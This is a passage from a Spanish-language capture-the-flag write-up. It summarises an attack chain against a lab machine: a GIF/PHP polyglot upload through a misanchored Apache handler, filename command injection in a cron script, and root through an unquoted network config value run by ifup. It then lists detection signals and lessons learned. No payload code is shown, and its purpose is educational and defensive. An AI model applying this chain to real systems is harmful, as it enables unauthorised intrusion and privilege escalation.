| Foothold | /etc/httpd/conf.d/php.conf | AddHandler php5-script .php sin anclar al final del nombre (CWE-16) | RCE como apache vía polyglot GIF/PHP |
| Escalada de app | check_attack.php (cron de guly) | Nombre de fichero controlado por el atacante interpolado sin escapar en exec() (CWE-78) | RCE como guly (user.txt) |
| PrivEsc | /usr/local/sbin/changename.sh (sudo NOPASSWD) + network-functions | Valor de configuración sin comillas, ejecutado por ifup vía source (CWE-78 / CWE-250) | Root mediante bash SUID (root.txt) |
Detección
- Peticiones a un recurso con
Options +Indexesseguidas de la descarga de un archivo que nunca debería estar en un directorio público (.tar,.zip,.sql) — un WAF o el propio log de Apache puede alertar por extensión servida fuera de las esperadas del sitio. - Un
POSTa un endpoint de subida seguido, en segundos, de unGETal fichero recién subido con parámetros de query no vistos antes (?c=) — la firma casi perfecta de una webshell recién plantada y usada. - El propio cron de "detección de ataques" generando entradas en
attacks.logcon nombres de fichero que no son direcciones IP — irónicamente, ese log es la mejor fuente de alerta temprana si se envía a un SIEM en vez de quedarse solo en disco. - Invocaciones de
/usr/local/sbin/changename.shvíasudofuera de una ventana de mantenimiento de red —/var/log/secureen RHEL/CentOS registra cada ejecución de sudo con el comando completo, así que la cadencia y el horario ya son una señal. - Aparición de binarios SUID nuevos fuera del inventario base del sistema — un barrido periódico de
find / -perm -4000(o una herramienta de integridad de ficheros tipo AIDE) detecta un/tmp/rootbashen el primer ciclo.
Lecciones aprendidas
- Un listado de directorios olvidado en producción (
Options +Indexes) puede filtrar el código fuente completo de la aplicación y convertir cualquier auditoría posterior en caja blanca. - Validar la extensión de subida requiere anclar la comprobación al final real del nombre construido — reconstruir el nombre a partir de fragmentos (
explode('.', ...)) sin revalidar el resultado reintroduce justo el bug que la whitelist intentaba evitar. AddHandleren Apache actúa sobre cualquier extensión del nombre, no solo la última; usar<FilesMatch \.php$>es la forma correcta de anclar un handler.- Un cron diseñado para "detectar ataques" que interpola datos controlados por el atacante (el nombre del fichero) en
exec()sin escapar es, en sí mismo, la superficie de ataque más peligrosa del sistema — la intención defensiva del código no lo hace seguro. - Cualquier script de
sudoque escriba una configuración de red debe citar sus valores: en RHEL/CentOS,ifupejecuta los ficherosifcfg-*como scripts de bash víasource, así que una líneaVAR=valorsin comillas y con un espacio dentro del valor deja de ser una asignación y pasa a ser una ejecución de comando arbitraria como root.